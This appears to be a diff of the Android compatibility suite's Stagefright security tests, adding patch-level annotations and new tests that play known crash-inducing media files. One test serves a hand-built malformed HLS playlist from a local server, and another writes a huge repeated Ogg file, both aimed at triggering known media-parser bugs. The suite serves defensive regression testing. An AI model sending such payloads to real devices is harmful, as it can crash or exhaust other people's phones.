     public void testStagefright_bug_38448381() throws Exception {
         doStagefrightTest(R.raw.bug_38448381);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3821);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_bug_70897454() throws Exception {
         doStagefrightTestRawBlob(R.raw.b70897454_avc, "video/avc", 320, 420);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_35039946() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
         doStagefrightTest(R.raw.bug_38115076);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
         doStagefrightTest(R.raw.bug_34618607);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-02")
     public void testStagefright_bug_69478425() throws Exception {
         doStagefrightTest(R.raw.bug_69478425);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65735716() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_65735716_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-12")
     public void testStagefright_bug_65717533() throws Exception {
         doStagefrightTest(R.raw.bug_65717533_header_corrupt);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_38239864() throws Exception {
         doStagefrightTest(R.raw.bug_38239864, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0600);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
         doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_35584425() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_35584425_framelen);
         doStagefrightTestRawBlob(R.raw.bug_35584425_avc, "video/avc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testBug_31092462() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_31092462_framelen);
         doStagefrightTestRawBlob(R.raw.bug_31092462_avc, "video/avc", 1280, 1024, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testBug_34097866() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34097866_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_34097866_avc, "video/avc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33862021() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33862021_frame_len);
         doStagefrightTestRawBlob(R.raw.bug_33862021_hevc, "video/hevc", 160, 96, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
         doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_37008096() throws Exception {
         int[] frameSizes = {245, 12, 33, 140, 164};
         doStagefrightTestRawBlob(R.raw.bug_37008096_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_34231163() throws Exception {
         int[] frameSizes = {22, 357, 217, 293, 175};
         doStagefrightTestRawBlob(R.raw.bug_34231163_mpeg2, "video/mpeg2", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_33933140() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33933140_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33933140_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_34097915() throws Exception {
         int[] frameSizes = {4140, 593, 0, 15495};
         doStagefrightTestRawBlob(R.raw.bug_34097915_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_34097213() throws Exception {
         int[] frameSizes = {2571, 210, 33858};
         doStagefrightTestRawBlob(R.raw.bug_34097213_avc, "video/avc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
         doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
         doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_64784973() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_64784973_framelen);
         doStagefrightTestRawBlob(R.raw.bug_64784973_hevc, "video/hevc", 1280, 720, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_34231231() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_34231231_framelen);
         doStagefrightTestRawBlob(R.raw.bug_34231231_mpeg2, "video/mpeg2", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testBug_63045918() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_63045918_framelen);
         doStagefrightTestRawBlob(R.raw.bug_63045918_hevc, "video/hevc", 352, 288, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33298089() throws Exception {
         int[] frameSizes = {3247, 430, 221, 2305};
         doStagefrightTestRawBlob(R.raw.bug_33298089_avc, "video/avc", 32, 64, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0599);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_36492741() throws Exception {
         doStagefrightTest(R.raw.bug_36492741);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_38487564() throws Exception {
         doStagefrightTest(R.raw.bug_38487564, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_37237396() throws Exception {
         doStagefrightTest(R.raw.bug_37237396);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_0842() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0842);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testStagefright_bug_63121644() throws Exception {
         doStagefrightTest(R.raw.bug_63121644);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6712);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testStagefright_bug_34097231() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_34097231_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34097672() throws Exception {
         doStagefrightTest(R.raw.bug_34097672);
     }
 
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_33751193() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33751193_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug_36993291() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36993291_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
         doStagefrightTest(R.raw.bug_32873375);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_62673179() throws Exception {
         doStagefrightTest(R.raw.bug_62673179_ts, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_bug_69269702() throws Exception {
         doStagefrightTest(R.raw.bug_69269702);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65398821() throws Exception {
         doStagefrightTest(R.raw.bug_65398821, ( 4 * 60 * 1000 ) );
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_bug_23452792() throws Exception {
         doStagefrightTest(R.raw.bug_23452792);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3820() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3820);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3741() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3741);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2506() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2506);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2428);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testStagefright_cve_2016_3756() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3756);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36592202() throws Exception {
+        Resources resources = getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+        final int oggPageSize = 25627;
+        byte [] blob = new byte[oggPageSize];
+        // 127 bytes read and 25500 zeros constitute one Ogg page
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+        // Creating temp file
+        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+        try {
+            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+            int bytesWritten = 0;
+            final long oggPagesRequired = 50000;
+            long oggPagesAvailable = tempFile.getUsableSpace() / oggPageSize;
+            long numOggPages = Math.min(oggPagesRequired, oggPagesAvailable);
+            // Repeat data for specified number of pages
+            for (int i = 0; i < numOggPages; i++) {
+                tempFos.write(blob);
+                bytesWritten += oggPageSize;
+            }
+            tempFos.close();
+            final int fileSize = bytesWritten;
+            final int timeout = (10 * 60 * 1000);
+            runWithTimeout(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                    } catch (Exception | AssertionError e) {
+                        if (!tempFile.delete()) {
+                            Log.e(TAG, "Failed to delete temporary PoC file");
+                        }
+                        fail("Operation was not successful");
+                    }
+                }
+            }, timeout);
+        } catch (Exception e) {
+            fail("Failed to test b/36592202");
+        } finally {
+            if (!tempFile.delete()) {
+                Log.e(TAG, "Failed to delete temporary PoC file");
+            }
+        }
+    }
+
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35472997() throws Exception {
         doStagefrightTest(R.raw.bug_35472997);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_34896431() throws Exception {
         doStagefrightTest(R.raw.bug_34896431);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-04")
     public void testBug_33641588() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_33641588_avc, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
 
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6600() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6600);
     }
 
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6603() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6603);
     }
 
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6604() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6604);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-12")
     public void testStagefright_bug_24157524() throws Exception {
-        doStagefrightTest(R.raw.bug_24157524);
+        doStagefrightTestMediaCodec(R.raw.bug_24157524);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3871() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
 
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_32915871() throws Exception {
         doStagefrightTest(R.raw.bug_32915871);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_36819262() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36819262_mpeg2, "video/mpeg2", 640, 480);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_36715268() throws Exception {
         doStagefrightTest(R.raw.bug_36715268);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
         doStagefrightTest(R.raw.bug_27855419);
     }
 
+    @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
         doStagefrightTest(R.raw.bug_19779574);
     }
@@ -731,32 +804,133 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testBug_73552574() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_73552574_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_73552574_avc, "video/avc", 320, 240, frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_bug_68342866() throws Exception {
+        Thread server = new Thread() {
+            @Override
+            public void run() {
+                try (ServerSocket serverSocket = new ServerSocket(8080);
+                        Socket conn = serverSocket.accept()) {
+                    OutputStream outputstream = conn.getOutputStream();
+                    InputStream inputStream = conn.getInputStream();
+                    byte input[] = new byte[65536];
+                    inputStream.read(input, 0, 65536);
+                    String inputStr = new String(input);
+                    if (inputStr.contains("bug_68342866.m3u8")) {
+                        byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n")
+                                .getBytes();
+                        byte playlist[] = new byte[] { 0x23, 0x45, 0x58, 0x54,
+                                0x4D, 0x33, 0x55, 0x0A, 0x23, 0x45, 0x58, 0x54,
+                                0x2D, 0x58, 0x2D, 0x53, 0x54, 0x52, 0x45, 0x41,
+                                0x4D, 0x2D, 0x49, 0x4E, 0x46, 0x46, 0x43, 0x23,
+                                0x45, 0x3A, 0x54, 0x42, 0x00, 0x00, 0x00, 0x0A,
+                                0x00, 0x00, 0x00, 0x00, 0x00, (byte) 0xFF,
+                                (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
+                                (byte) 0xFF, (byte) 0xFF, 0x3F, 0x2C, 0x4E,
+                                0x46, 0x00, 0x00 };
+                        outputstream.write(http);
+                        outputstream.write(playlist);
+                    }
+                } catch (IOException e) {
+                }
+            }
+        };
+        server.start();
+        String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                Surface surface = getDummySurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    mp.setDataSource(uri);
+                    mp.prepareAsync();
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                } finally {
+                    closeQuietly(fd);
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        t.start();
+        assertFalse("Device *IS* vulnerable to BUG-68342866",
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join();
+        server.join();
+    }
+
+    @SecurityTest(minPatchLevel = "2018-05")
+    public void testStagefright_bug_74114680() throws Exception {
+        doStagefrightTest(R.raw.bug_74114680_ts, (10 * 60 * 1000));
+    }
+
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testStagefright_bug_70239507() throws Exception {
+        doStagefrightTestExtractorSeek(R.raw.bug_70239507,1311768465173141112L);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testBug_33250932() throws Exception {
+    int[] frameSizes = {65, 11, 102, 414};
+    doStagefrightTestRawBlob(R.raw.bug_33250932_avc, "video/avc", 640, 480, frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testStagefright_bug_37430213() throws Exception {
+    doStagefrightTest(R.raw.bug_37430213);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testStagefright_bug_68664359() throws Exception {
+        doStagefrightTest(R.raw.bug_68664359, 60000);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testStagefright_bug_110435401() throws Exception {
+        doStagefrightTest(R.raw.bug_110435401, 60000);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_cve_2017_0474() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0474, 120000);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2017_0765() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0765);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_cve_2017_13276() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13276);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6764);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_13214() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13214);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
         doStagefrightTest(R.raw.bug_35467107);
     }
@@ -766,23 +940,58 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testStagefright_cve_2017_17773() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_17773);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_18074() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18074);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testStagefright_cve_2018_5894() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5894);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5874() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5874);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5875() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5875);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5876() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5876);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5882() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5882);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-12")
     public void testBug_65186291() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
         doStagefrightTestRawBlob(R.raw.bug_65186291_hevc, "video/hevc", 1920, 1080, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_67737022() throws Exception {
         doStagefrightTest(R.raw.bug_67737022);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_37093318() throws Exception {
         doStagefrightTest(R.raw.bug_37093318, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-05")
     public void testStagefright_bug_73172046() throws Exception {
         doStagefrightTest(R.raw.bug_73172046);
 
@@ -794,36 +1003,68 @@
         }
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_cve_2016_0824() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0824);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_cve_2016_0815() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0815);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-05")
     public void testStagefright_cve_2016_2454() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2454);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6765);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2508);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testStagefright_cve_2016_6699() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6699);
     }
 
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testStagefright_cve_2017_18155() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18155);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_9423() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9423);
+    }
+
+    @SecurityTest(minPatchLevel = "2016-09")
+    public void testStagefright_cve_2016_3879() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3879);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_xaac_not_present() throws Exception {
+        // ensure that the xaac codec is not present
+        MediaCodec codec;
+        String names[] = new String[] { "c2.android.xaac.decoder", "OMX.google.xaac.decoder" };
+        for (String name : names) {
+            Log.w(TAG, "trying to create codec: " + name);
+            try {
+                codec = MediaCodec.createByCodecName(name);
+                fail("not allowed to createByCodecName() for " + name);
+            } catch (IllegalArgumentException e) {
+                // expected
+                Log.w(TAG, "correctly unable to instantiate code for " + name);
+            }
+        }
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTestMediaPlayer(rid);
         doStagefrightTestMediaCodec(rid);
@@ -1368,34 +1609,42 @@
         doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
     }
 
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
     }
 
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testBug36895511() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
     }
 
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testBug64836894() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testCve_2017_0687() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testCve_2017_0696() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_0696, "video/avc", 320, 240);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_37930177() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_37712181() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37712181_hevc, "video/hevc", 320, 240);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testBug_70897394() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240);
     }
@@ -1732,4 +1981,68 @@
         t.stopLooper();
         t.join(); // wait for thread to exit so we're sure the player was released
     }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        LooperThread thr = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                try {
+                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                        .openRawResourceFd(R.raw.good);
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    fd.close();
+                } catch (Exception e) {
+                    fail("setDataSource of known-good file failed");
+                }
+                synchronized(mpcl) {
+                    mpcl.notify();
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        thr.start();
+        synchronized(mpcl) {
+            mpcl.wait();
+        }
